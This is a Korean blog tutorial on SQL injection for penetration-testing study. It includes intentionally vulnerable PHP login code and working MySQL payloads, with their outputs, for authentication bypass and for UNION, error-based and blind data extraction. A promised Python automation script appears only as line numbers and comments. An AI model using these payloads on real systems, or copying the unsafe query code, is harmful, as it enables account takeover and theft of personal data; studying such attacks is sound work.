Post

SQL Injection

SQL Injection

목차


본 기술 문서는 SQL Injection 모의해킹 스터디를 위해 작성되었으며, 이를 악용해 불법적인 행위를 할 경우, 법적인 처벌을 받을 수 있음을 경고합니다.

개요 (SQL Injection 이란?)

SQL Injection은 웹 애플리케이션에서 사용자 입력값이 SQL 쿼리에 적절한 검증 없이 포함될 때 발생하는 보안 취약점이다. 공격자는 입력 필드에 악의적인 SQL 구문을 삽입하여, 개발자가 의도하지 않은 SQL 쿼리를 실행시킬 수 있다.

OWASP Top 10에서 꾸준히 상위권을 차지하는 대표적인 웹 취약점 중 하나이며, 성공 시 아래와 같은 피해가 발생할 수 있다.

  • 인증 우회 : 로그인 인증을 우회하여 관리자 권한 획득
  • 데이터 유출 : DB에 저장된 개인정보, 비밀번호 등 민감 데이터 탈취
  • 데이터 변조/삭제 : DB 내 데이터를 임의로 수정하거나 삭제
  • 시스템 명령 실행 : DB 서버의 OS 명령어 실행 (xp_cmdshell 등)
  • 서버 장악 : DB 서버를 거점으로 내부 네트워크 침투

발생 원리

사용자 입력값이 SQL 쿼리 문자열에 직접 결합(concatenation)되면, 입력값 내의 SQL 구문이 쿼리의 일부로 해석된다.

예를 들어, 다음과 같은 로그인 쿼리가 있다고 가정한다.

1
SELECT * FROM users WHERE username = '입력값' AND password = '입력값';

username에 admin' --을 입력하면 쿼리가 다음과 같이 변한다.

1
SELECT * FROM users WHERE username = 'admin' --' AND password = '아무값';

--는 SQL 주석이므로 뒤의 password 조건이 무시되어, 비밀번호 없이 admin 계정으로 로그인할 수 있다.

상세

아래와 같은 테이블이 있다고 가정하자.

user 테이블

칼럼 type 비고
user_number int primary key
name varchar(32)  
age int  
address varchar(256)  
phone varchar(32)  
email varchar(64)  

logindata 테이블

칼럼 type 비고
user_number int FK (user 테이블의 user_number)
id varchar(32) unique
pw varchar(68) (sha256 hash)
1
2
3
4
5
6
7
8
<form method="POST" action="/loginreq">
  id: <input type="text" name="id">
  <br/>
  pw: <input type="password" name="pw">
  <br/>
  <input type="submit" value="Login">
</form>
<br/>

이와 같은 로그인 폼이 있을 때, 다음과 같이 로드될 수 있다.

id: pw:

이 폼에 id, pw를 입력하면 /loginreq 로 POST 요청이 전송된다. form 내 파일이 없으므로, Content-Typeapplication/x-www-form-urlencoded가 된다.

1
2
3
4
5
6
7
POST /loginreq HTTP/1.1
Host: test.iasdf.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 ...
Content-Length: xx

id=입력값&pw=입력값

서버에서 /loginreq 를 다음과 같은 로직으로 처리하고 있다고 가정하자. 서버의 코드는 php 언어로 작성되어 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
$conn = mysqli_connect("localhost", "dbuser", "dbpass", "testdb");

$id = $_POST['id'];
$pw = $_POST['pw'];

$pw_hash = hash('sha256', $pw);

$query = "SELECT user_number, pw FROM logindata WHERE id = '$id'";
$result = mysqli_query($conn, $query);
$row = mysqli_fetch_array($result);

if ($row && $pw_hash == $row['pw']) {
    $user_number = $row['user_number'];

    $query2 = "SELECT name FROM user WHERE user_number = $user_number";
    $result2 = mysqli_query($conn, $query2);
    $user = mysqli_fetch_array($result2);

    echo "환영합니다, [" . $user['name'] . "] 님!";
    // 세션 처리 및 메인페이지 접속 등 추가 로직
} else {
    echo "로그인 실패";
}

mysqli_close($conn);
?>

서버의 로직은 다음과 같다.

  • 매칭되는 ID에 대한 user_numberpwlogindata 테이블에서 가져온다.
  • 입력된 비밀번호를 sha256 해시하여, DB에서 가져온 pw와 비교한다.
  • 일치하면?
    • logindata 테이블에서 가져왔던 user_number 를 가지고 user 테이블에서 user_number에 해당하는 name을 가져와 환영 메시지를 출력한다.
  • 일치하지 않으면?
    • “로그인 실패” 메시지를 출력한다.

공격자는 어떻게 SQL Injection을 이용해 인증을 우회하고 접근할 수 있을까?

상황 가정.

나는 우연히 이러한 취약점이 있는 사이트에 홍길동 씨가 mjlover0815 라는 아이디를 사용하는 것을 목격해버렸다.
그러나 패스워드는 input 창이 **** 처리되어 있어 패스워드까지 엿보지는 못했다.

하지만, 이러한 SQL Injection 취약점이 존재할 경우, 아이디만 알고 있어도 다음과 같이 공격할 수 있다.

ID 입력란에 다음과 같이 입력한다.
' UNION SELECT (SELECT user_number FROM logindata WHERE id='mjlover0815'), '9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08' --
Password 입력란에는 test를 입력한다.
왜냐하면 위 UNION SQL Injection에서 주입한 비밀번호 해시 9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08test의 sha256 해시값이기 때문이다.

이 경우 WAS에서 실행되는 전체 SQL 쿼리는 다음과 같이 진행된다.

SELECT user_number, pw FROM logindata WHERE id = '' UNION SELECT (SELECT user_number FROM logindata WHERE id='mjlover0815'), '9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08' --'

  • DB에서 ID가 ‘‘(빈값) 인 레코드의 user_number, pw 필드와 mjlover0815user_number, test의 sha256 해시값이 합쳐진 결과가 반환된다.
  • 그러나, ID가 ‘‘(빈값) 인 레코드는 존재하지 않으므로, 첫 번째 레코드는 무시된다.
  • 따라서, mjlover0815user_numbertest의 sha256 해시값이 반환된다.
  • 우리는 test에 대한 sha256 해시값을 넣었으므로, DB에서 가져온 pw와 일치하게 된다.
  • 결국, 우리는 mjlover0815 계정으로 인증을 우회하여 로그인에 성공하게 된다.

공격 방법

UNION SQL Injection

하지만, 문제가 있다.
방금 사례에서는 웹서버 소스코드를 정확히 알고 있었기에 어떤 공격을 해야 하는지 알 수 있었다.
그러나, 실제로 웹 사이트를 공격할 때에는 웹서버 소스코드를 알 수 없는 경우가 대부분이다.
따라서, 공격자는 다양한 SQL Injection 페이로드를 시도하여 SQL 공격 구문이 무엇인지를 예측해야 한다.

그럼 어떻게 이러한 공격을 시도해볼 수 있을까?

본 섹션에서는 SQL Injection 공격에 대해 MySQL 데이터베이스를 기준으로 설명한다.
MySQL 외에도 MSSQL, Oracle, PostgreSQL 등 다양한 DBMS가 존재하며, 각 DBMS에 따라서 공격 구문이 다를 수 있음에 유의해야 한다.

select user_number, name, email from user where phone = '입력값' 인 쿼리를 해킹한다고 가정해 보자. 그러나 우리는 쿼리를 모른다.

  1. 우선 항등원으로 공격을 시도해, SQL Injection이 되는지 확인해야 한다.
    • 항등원: 임의의 수에 어떤 수를 연산을 해 주었는데 연산 결과가 연산 전과 항상 같을 때 어떤 수를 그 연산에 대한 항등원이라 한다.
    • 예를 들어, 나의 ID가 testuser 라고 가정할 때, testuser' AND '1'='1 과 같이 값을 붙여 전송해본다.
    • testuser' AND '1'='1 이라는 ID는 없지만, 이것이 SQL 쿼리로 동작할 경우, 항등원이기 때문에 참이된다.
      • 이것을 이용하여, 이 쿼리를 통해 로그인에 성공하면, SQL Injection이 가능하다는 것을 알 수 있다. - 이 항등원에 대한 쿼리는 웹 서버의 쿼리에 따라서 다양하게 변형될 수 있다.
    • 예: testuser' OR '1'='1, testuser' AND 1=1-- , testuser' OR 1=1--
    • LIKE 구문이 사용될 경우, 아래와 같은 쿼리가 있다고 가정해 보자.
    • SELECT * FROM table WHERE column LIKE '%입력값%'
    • 이 경우 항등원은 search_data%' AND '%'=' 로 시도해볼 수 있다.
      • SELECT * FROM table WHERE column LIKE '%search_data%' AND '%'='%'
      • 이 결과값이 search_data 만 입력했을 때 나온 결과와 동일하다면, SQL Injection이 가능하다는 것을 알 수 있다.
1
2
3
4
input value: 010-1111-2222' AND '1'='1
expected: 이 값이, '010-1111-2222' 만 입력했을 때와 동일한 결과를 반환한다면, SQL Injection이 가능하다.

실제 쿼리: SELECT user_number, name, email FROM user WHERE phone = '010-1111-2222' AND '1'='1'
  1. 항등원 공격을 통해 SQL Injection이 가능하다는 것을 확인했으면, 이제는 쿼리의 구조를 파악해야 하고, 출력되는 칼럼이 어떤 칼럼인지 파악해야 한다.
    • 공격 방법에는 UNION SQL Injection, ERROR Based SQL Injection, Blind SQL Injection 등이 있다.
    • UNION, ERROR, BLIND 등의 공격 방법은 기본적으로 UNION 쿼리를 사용한다는 공통점이 있다.
    • UNION 쿼리는 두 개 이상의 SELECT 쿼리의 결과를 합쳐서 하나의 결과로 반환하는 기능이다.
    • 공격자는 UNION 쿼리에 자신이 원하는 쿼리를 삽입하여, DB에서 민감한 정보를 추출할 수 있다.
    • 그러나, UNION 쿼리를 사용하기 위해서는 몇 가지 조건이 필요하다.
    • 첫째, UNION으로 합쳐지는 SELECT 쿼리들은 동일한 수의 칼럼을 반환해야 한다.
    • 둘째, 각 칼럼의 데이터 타입이 호환되어야 한다. - 따라서, 공격자는 먼저 대상 쿼리가 몇 개의 칼럼을 반환하는지 알아내야 한다.
    • 이를 위해서는 ORDER BY 절을 이용할 수 있다.
    • 예를 들어, testuser' ORDER BY 1-- , testuser' ORDER BY 2-- , testuser' ORDER BY 3-- 와 같이 시도해본다.
    • 만약 ORDER BY 3-- 에서 오류가 발생한다면, 대상 쿼리는 2개의 칼럼을 반환한다는 것을 알 수 있다. - 칼럼 수를 알아냈다면, 이제는 각 칼럼의 데이터 타입을 알아내야 한다.
    • 이를 위해서는 UNION SELECT 구문을 이용할 수 있다.
    • 예를 들어, testuser' UNION SELECT 1, 'a'-- , testuser' UNION SELECT 'a', 1-- 와 같이 시도해본다.
    • 만약 UNION SELECT 1, 'a'-- 에서 오류가 발생한다면, 첫 번째 칼럼은 문자열 타입이라는 것을 알 수 있다.
    • 이 과정을 반복하여 각 칼럼의 데이터 타입을 알아낼 수 있다.
  • 칼럼 수 및 타입을 알아냈다고 해서, 끝난 것이 아니다.
  • 왜냐하면, 조회하는 칼럼 수와, 실제 보여지는 칼럼이 다를 수 있기 때문이다.
  • 예를 들어, SELECT user_number, name, email FROM user WHERE phone = '입력값' 라는 쿼리가 있으나, 웹에서 데이터를 뿌려줄 때에는 실제로는 name, email 칼럼만 화면에 출력될 수도 있다.
    • 이 경우, user_number 칼럼 위치에 UNION 쿼리를 삽입해 데이터를 조회할 경우, 화면에 출력되지 않으므로, 공격자는 원하는 데이터를 볼 수 없다.
  • 이하 예제에서는 두 번째, 세 번째 칼럼만 화면에 출력된다고 가정한다.
  • 두 번째 칼럼 -> 테이블의 첫 번째 열에 출력
  • 세 번째 칼럼 -> 테이블의 두 번째 열에 출력
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
input value: 010-1111-2222' ORDER BY 1 --
expected: 정상적으로 쿼리가 수행된다면, 1개의 칼럼 이상이 존재한다는 것을 알 수 있다.
input value: 010-1111-2222' ORDER BY 2 --
expected: 정상적으로 쿼리가 수행된다면, 2개의 칼럼 이상이 존재한다는 것을 알 수 있다.
input value: 010-1111-2222' ORDER BY 3 --
expected: 정상적으로 쿼리가 수행된다면, 3개의 칼럼 이상이 존재한다는 것을 알 수 있다.
input value: 010-1111-2222' ORDER BY 4 --
expected: 정상적으로 쿼리가 수행된다면, 4개의 칼럼 이상이 존재한다는 것을 알 수 있다.
...

실제 쿼리: SELECT user_number, name, email FROM user WHERE phone = '010-1111-2222' ORDER BY 1 --'
실제 쿼리: SELECT user_number, name, email FROM user WHERE phone = '010-1111-2222' ORDER BY 2 --'
실제 쿼리: SELECT user_number, name, email FROM user WHERE phone = '010-1111-2222' ORDER BY 3 --'
실제 쿼리: SELECT user_number, name, email FROM user WHERE phone = '010-1111-2222' ORDER BY 4 --'
  -> ERROR! 또는 결과 없음. -> 조회하는 칼럼 수는 3개라는 것을 알 수 있다.
  1. 칼럼 수와 데이터 타입을 알아냈다면, 이제는 DB 및 테이블의 구조를 확인해야 한다.
    • MySQL의 경우, DB명을 확인하기 위해서는 다음과 같은 쿼리를 사용할 수 있다.
    • select database() - MySQL의 경우 테이블 목록을 확인하기 위해서는 다음과 같은 쿼리를 사용할 수 있다.
    • select table_name from information_schema.tables where table_schema = '<db_name>'
    • 서브쿼리를 사용해 위 DB명을 확인하는 코드를 가지고, 하나의 쿼리로 DB에 대한 테이블 목록을 확인할 수도 있다.
      • select table_name from information_schema.tables where table_schema = (select database())
1
2
3
4
input: 010-1111-2222' UNION SELECT 'hack complete!', table_name, 'hack complete!' FROM information_schema.tables WHERE table_schema = (select database()) --
expected: 테이블의 첫 번째 열에, 두 번째 칼럼에 해당하는 현재 DB의 테이블 목록이 출력된다.

실제 쿼리: SELECT user_number, name, email FROM user WHERE phone = '010-1111-2222' UNION SELECT 'hack complete!', table_name, 'hack complete!' FROM information_schema.tables WHERE table_schema = (select database()) -- '
이름 이메일
jackson jackson@test.com
user hack complete!
logindata hack complete!
… 기타 테이블 … hack complete!
  1. 정보를 획득하고자 하는 테이블을 정했다면, 이제는 해당 테이블의 칼럼 목록을 확인해야 한다.
    • MySQL의 경우 테이블의 칼럼 목록을 확인하기 위해서는 다음과 같은 쿼리를 사용할 수 있다.
    • select column_name from information_schema.columns where table_name = '<table_name>'
1
2
3
4
input: 010-1111-2222' UNION SELECT 'hack complete!', column_name, 'hack complete!' FROM information_schema.columns WHERE table_name = 'user' --
expected: 테이블의 첫 번째 열에 두 번째 칼럼에 해당하는 user 테이블의 칼럼 목록이 출력된다.

실제 쿼리: SELECT user_number, name, email FROM user WHERE phone = '010-1111-2222' UNION SELECT 'hack complete!', column_name, 'hack complete!' FROM information_schema.columns WHERE table_name = 'user' -- '
이름 이메일
jackson jackson@test.com
user_number hack complete!
name hack complete!
age hack complete!
address hack complete!
phone hack complete!
email hack complete!
  1. 칼럼까지 모두 확인했다면, 이제 공격자는 원하는 데이터를 추출할 수 있다.
1
2
3
4
5
input: 010-1111-2222' UNION SELECT 'hack complete!', CONCAT(name, ' : ', email, ' : ', phone), address FROM user --
expected: 테이블의 첫 번째 열에 두 번째 칼럼에 해당하는 user 테이블의 name, email, phone 칼럼의 데이터가,
테이블의 두 번째 열에 세 번째 칼럼에 address 칼럼의 데이터가 출력된다.

두 번째 열에 CONCAT 함수를 사용하여 여러 칼럼의 데이터를 하나의 문자열로 합쳐 출력할 수 있다.
이름 이메일
jackson jackson@test.com
hong gil dong : gildong@test.com : 010-1234-5678 123 Seoul St.
lee sun shin : sshLee@googletest.com : 010-9876-5432 456 Busan Ave.
jackson : jackson@test.com : 010-5555-6666 789 Incheon Rd.
… 기타 데이터 … … 기타 데이터 …

Error Based SQL Injection

간혹, MySQL의 에러 메시지 또는 에러 페이지가 화면에 출력되는 경우가 있다.
공격자는 이것을 놓치지 않고, 당연히 공격에 사용할 수 있어야 한다.

예를 들어, MySQL의 EXTRACTVALUE() 라는 함수를 사용해, 강제로 에러를 유발시켜
에러 메시지에 쿼리 데이터를 포함시키게 만드는 방법을 사용할 수 있다.

EXTRACTVALUE(xml_doc, xpath_expr)는 MySQL의 XML 함수인데, 잘못된 XPath 표현식을 넣으면 에러 메시지에 쿼리 결과가 노출된다.
XPath 표현식에 0x7e (물결표 기호 ~) 같은 유효하지 않은 문자를 만들어 강제로 에러를 유발시킨다.

1
2
' AND EXTRACTVALUE(1, CONCAT(0x7e, version())) --
XPATH syntax error: '~5.7.34'

공격 과정은 UNION SQL Injection과 유사하지만, 몇 가지 차이점이 있다.

UNION SQL Injection과의 차이점:

  • UNION SQL Injection은 쿼리 결과가 화면에 직접 출력되어야 하지만, Error Based SQL Injection은 에러 메시지만 출력되면 공격이 가능하다.
  • UNION SQL Injection은 칼럼 수를 맞춰야 하지만, Error Based SQL Injection은 AND 조건절에서 바로 사용할 수 있어 칼럼 수를 맞출 필요가 없다.
  • 대신, EXTRACTVALUE()의 에러 메시지는 최대 32자까지만 출력되므로, 긴 데이터는 SUBSTRING()으로 잘라서 확인해야 한다.

동일하게 select user_number, name, email from user where phone = '입력값' 쿼리를 해킹한다고 가정해 보자. 그러나 우리는 쿼리를 모른다.

  1. SQL Injection 가능 여부 확인은 UNION SQL Injection과 동일하게 항등원으로 확인한다. (위 UNION SQL Injection 항목 참고)

  2. 항등원 확인이 되었다면, EXTRACTVALUE()를 사용해 DB 버전 및 DB명을 확인한다.

1
2
3
4
5
input: 010-1111-2222' AND EXTRACTVALUE(1, CONCAT(0x7e, version())) --
expected: 에러 메시지에 DB 버전이 출력된다.
에러: XPATH syntax error: '~5.7.34'

실제 쿼리: SELECT user_number, name, email FROM user WHERE phone = '010-1111-2222' AND EXTRACTVALUE(1, CONCAT(0x7e, version())) --'
1
2
3
4
5
input: 010-1111-2222' AND EXTRACTVALUE(1, CONCAT(0x7e, database())) --
expected: 에러 메시지에 현재 DB명이 출력된다.
에러: XPATH syntax error: '~testdb'

실제 쿼리: SELECT user_number, name, email FROM user WHERE phone = '010-1111-2222' AND EXTRACTVALUE(1, CONCAT(0x7e, database())) --'
  1. 테이블 목록을 추출한다.
    • 서브쿼리는 하나의 값만 반환해야 하므로, GROUP_CONCAT()을 사용하여 여러 행을 하나의 문자열로 합쳐 추출하거나, LIMIT을 사용하여 한 행씩 추출한다.
    • 단, 32자 제한이 있으므로 GROUP_CONCAT() 결과가 32자를 초과하면 잘린다.
1
2
3
4
5
input: 010-1111-2222' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(table_name SEPARATOR ',') FROM (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 5 OFFSET 0) AS t))) --
expected: 에러 메시지에 현재 DB의 테이블 목록이 출력된다.
에러: XPATH syntax error: '~user,logindata'

실제 쿼리: SELECT user_number, name, email FROM user WHERE phone = '010-1111-2222' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(table_name SEPARATOR ',') FROM (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 5 OFFSET 0) AS t))) --'

테이블이 많아 32자를 초과할 경우, LIMIT을 사용하여 한 행씩 추출한다.

1
2
3
4
5
6
7
8
9
input: 010-1111-2222' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1))) --
에러: XPATH syntax error: '~user'

실제 쿼리: SELECT user_number, name, email FROM user WHERE phone = '010-1111-2222' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1))) --'

input: 010-1111-2222' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1,1))) --
에러: XPATH syntax error: '~logindata'

실제 쿼리: SELECT user_number, name, email FROM user WHERE phone = '010-1111-2222' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 1,1))) --'
  1. 정보를 획득하고자 하는 테이블의 칼럼 목록을 추출한다.
1
2
3
4
5
input: 010-1111-2222' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='user'))) --
expected: 에러 메시지에 user 테이블의 칼럼 목록이 출력된다.
에러: XPATH syntax error: '~user_number,name,age,address,ph'

실제 쿼리: SELECT user_number, name, email FROM user WHERE phone = '010-1111-2222' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='user'))) --'

32자 제한으로 인해 ~user_number,name,age,address,ph 까지만 출력되었다.
나머지 칼럼명을 확인하기 위해 SUBSTRING()을 사용한다.

1
2
3
4
input: 010-1111-2222' AND EXTRACTVALUE(1, CONCAT(0x7e, SUBSTRING((SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='user'), 32, 32))) --
에러: XPATH syntax error: '~one,email'

실제 쿼리: SELECT user_number, name, email FROM user WHERE phone = '010-1111-2222' AND EXTRACTVALUE(1, CONCAT(0x7e, SUBSTRING((SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='user'), 32, 32))) --'

이로써 user 테이블의 전체 칼럼 목록 (user_number, name, age, address, phone, email)을 확인할 수 있다.

  1. 칼럼까지 모두 확인했다면, 이제 공격자는 원하는 데이터를 추출할 수 있다.
1
2
3
4
5
6
7
8
9
10
11
input: 010-1111-2222' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT CONCAT(name, ':', email) FROM user LIMIT 0,1))) --
expected: 에러 메시지에 user 테이블의 첫 번째 행의 name, email 데이터가 출력된다.
에러: XPATH syntax error: '~hong gil dong:gildong@test.com'

실제 쿼리: SELECT user_number, name, email FROM user WHERE phone = '010-1111-2222' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT CONCAT(name, ':', email) FROM user LIMIT 0,1))) --'


input: 010-1111-2222' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT CONCAT(name, ':', email) FROM user LIMIT 1,1))) --
에러: XPATH syntax error: '~lee sun shin:sshLee@googletest.'

실제 쿼리: SELECT user_number, name, email FROM user WHERE phone = '010-1111-2222' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT CONCAT(name, ':', email) FROM user LIMIT 1,1))) --'

32자 제한으로 인해 데이터가 잘릴 경우, SUBSTRING()을 함께 사용하여 나머지 데이터를 확인한다.

1
2
3
4
input: 010-1111-2222' AND EXTRACTVALUE(1, CONCAT(0x7e, SUBSTRING((SELECT CONCAT(name, ':', email) FROM user LIMIT 1,1), 32, 32))) --
에러: XPATH syntax error: '~com'

실제 쿼리: SELECT user_number, name, email FROM user WHERE phone = '010-1111-2222' AND EXTRACTVALUE(1, CONCAT(0x7e, SUBSTRING((SELECT CONCAT(name, ':', email) FROM user LIMIT 1,1), 32, 32))) --'

이렇게 Error Based SQL Injection은 에러 메시지를 통해 데이터를 한 조각씩 추출하는 방식으로, UNION SQL Injection과 동일한 정보를 획득할 수 있다.

UPDATEXML()

EXTRACTVALUE()와 동일한 원리로, UPDATEXML() 함수도 Error Based SQL Injection에 활용할 수 있다.

1
UPDATEXML(xml_doc, xpath_expr, new_value)
1
2
3
4
input: 010-1111-2222' AND UPDATEXML(1, CONCAT(0x7e, database()), 1) --
에러: XPATH syntax error: '~testdb'

실제 쿼리: SELECT user_number, name, email FROM user WHERE phone = '010-1111-2222' AND UPDATEXML(1, CONCAT(0x7e, database()), 1) --'

EXTRACTVALUE()와 마찬가지로 32자 제한이 동일하게 적용되며, 사용 방법도 동일하다.
EXTRACTVALUE()가 필터링되는 환경에서 대체 수단으로 활용할 수 있다.

Blind SQL Injection

Blind SQL Injection은 쿼리 결과가 화면에 직접 출력되지 않거나, 에러 메시지도 출력되지 않는 경우에 사용되는 기법이다. (단순히 쿼리 결과에 대한 참/거짓만 알 수 있는 경우)

예를 들어서, 아이디 중복조회 기능에서 SQL Injection이 가능하다고 가정해 보자. 이 경우, 우리는 아이디가 중복인지 아닌지에 대한 참/거짓 정보만 알 수 있다.

1
2
3
4
5
6
7
8
9
10
11
<?php
$id=$_POST['id'];
$sql="SELECT EXISTS(SELECT 1 FROM logindata WHERE id = '$id')";
$result = mysqli_query($conn, $sql);
$row = mysqli_fetch_array($result);
if ($row[0]) {
    echo "이미 존재하는 아이디입니다.";
} else {
    echo "사용 가능한 아이디입니다.";
}
?>

이러한 곳에서 위 BLIND SQL Injection, ERROR Based SQL Injection 공격을 사용할 경우, 실제 결과 값을 웹에 출력하지 않으므로, 공격자는 쿼리 결과에 대한 데이터를 추출할 수 없다.
따라서, 공격자는 참/거짓 결과를 이용해 데이터를 한 글자씩 추출하는 방식을 사용해야 한다.

한 글자씩 어떻게 추출할 수 있을까?

  • SELECT DATABASE() 함수의 결과가 testdb 라고 가정해 보자.
  • SELECT SUBSTRING(DATABASE(), 1, 1) 를 사용하면, testdb의 첫 번째 글자 t를 얻을 수 있다.
    • SUBSTRING 대신, MID, SUBSTR 등의 함수도 사용할 수 있다.
  • SUBSTRING 함수를 이용해, 한 글자씩 노가다를 해야 한다.
    • SELECT DATABASE의 첫 번째 글자가 ‘a’ 입니까? (참/거짓)
      • SELECT SUBSTRING(DATABASE(), 1, 1) = 'a' → 거짓
    • SELECT DATABASE의 첫 번째 글자가 ‘b’ 입니까? (참/거짓)
      • SELECT SUBSTRING(DATABASE(), 1, 1) = 'b' → 거짓
    • SELECT DATABASE의 첫 번째 글자가 ‘c’ 입니까? (참/거짓)
      • SELECT SUBSTRING(DATABASE(), 1, 1) = 'c' → 거짓
    • SELECT DATABASE의 첫 번째 글자가 ‘t’ 입니까? (참/거짓)
      • SELECT SUBSTRING(DATABASE(), 1, 1) = 't' → 참!
    • 이렇게 해서 첫 번째 글자 ‘t’를 알아냈다.
  • 동일한 방법으로 두 번째 글자, 세 번째 글자도 알아낼 수 있다.

하지만 이 방법은 너무 느리고 비효율적이다.
따라서, 이진 탐색(Binary Search) 기법을 사용하여 글자를 추출할 수 있다.
글자를 ASCII 코드 값으로 변환하여, 특정 범위 내에 있는지 확인하는 방식이다.

-- DATABASE()의 첫 번째 글자를 ASCII Code 값으로 변환한 값이 64보다 큰가?
ASCII(SUBSTRING(DATABASE(), 1, 1)) > 64
-- 't' = 116이므로 116 > 64 → 참
-- DATABASE()의 첫 번째 글자를 ASCII Code 값으로 변환한 값이 96보다 큰가?
ASCII(SUBSTRING(DATABASE(), 1, 1)) > 96
-- 't' = 116이므로 116 > 96 → 참
-- DATABASE()의 첫 번째 글자를 ASCII Code 값으로 변환한 값이 112보다 큰가?
ASCII(SUBSTRING(DATABASE(), 1, 1)) > 112
-- 't' = 116이므로 116 > 112 → 참
-- DATABASE()의 첫 번째 글자를 ASCII Code 값으로 변환한 값이 120보다 큰가?
ASCII(SUBSTRING(DATABASE(), 1, 1)) > 120
-- 't' = 116이므로 116 > 120 → 거짓 (113,114,115,116,117,118,119)
-- DATABASE()의 첫 번째 글자를 ASCII Code 값으로 변환한 값이 116보다 큰가?
ASCII(SUBSTRING(DATABASE(), 1, 1)) > 116
-- 't' = 116이므로 116 > 116 → 거짓 (113,114,115,116)
-- DATABASE()의 첫 번째 글자를 ASCII Code 값으로 변환한 값이 114보다 큰가?
ASCII(SUBSTRING(DATABASE(), 1, 1)) > 114
-- 't' = 116이므로 116 > 114 → 참 (115,116)
-- DATABASE()의 첫 번째 글자를 ASCII Code 값으로 변환한 값이 115인가?
ASCII(SUBSTRING(DATABASE(), 1, 1)) == 115
-- 't' = 116이므로 116 == 115 → 거짓 (116)
-- DATABASE()의 첫 번째 글자를 ASCII Code 값으로 변환한 값이 116인가?
ASCII(SUBSTRING(DATABASE(), 1, 1)) == 116
-- 't' = 116이므로 116 == 116 → 참

첫 번째 글자 ‘t’를 알아냈다.
동일한 방법으로 두 번째 글자, 세 번째 글자도 알아낼 수 있다.

위와 같은 방식으로, Blind SQL Injection을 통해
데이터베이스 이름, 테이블 목록, 칼럼 목록, 데이터 값 등을 한 글자씩 추출할 수 있다.

블라인드 SQL 인젝션 공격은, 사람의 손으로 하기에는 너무 느리고 비효율적이다.
따라서, 자동화 스크립트를 작성하여 공격하는 것이 일반적이다.

필자도, 학습 용도로 사용할 수 있는 간단한 Blind SQL Injection 자동화 스크립트를 작성해 보았다.
아래 코드는 Python3으로 작성되었으며, MySQL / MariaDB 데이터베이스를 대상으로 한다.

ASCII 및 한글, 이모지 등을 추출할 수 있도록 CONV(HEX(CONVERT(...))) 방식을 사용하였다.
특히, 요즘에는 AI를 활용해 자동화 공격 스크립트를 간단하게 만들어낼 수 있으므로, 이러한 공격에 더욱 주의해야 한다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
#!/usr/bin/env python3

# SELECT ASCII(SUBSTR('test', 1,1))
# (SELECT COUNT((select database())))

# select ORD(SUBSTR('안녕😀', 3, 1)); -> 약 41억, 그냥 signed int 최대값인 4294967295 로 계산해도 될 듯 하다.
# select ORD(SUBSTR((select '안녕😀 hello'),3,1));
# select ORD(SUBSTR((sele)))
# 실제 최대 값은 4103061439 (0x10FFFF) 으로, 유니코드 최대 값이다.
#select CONV(HEX(CONVERT(SUBSTR('안녕😀', 1, 1) USING ucs2)), 16, 10);


# 주의, 이 스크립트는 MySQL / MariaDB 의 Blind SQL Injection 공격 학습 및 모의 해킹 테스트 용도로 제작되었습니다.
# 그 외 공격에 이 스크립트를 사용할 경우, 법적 책임은 전적으로 사용자에게 있습니다.


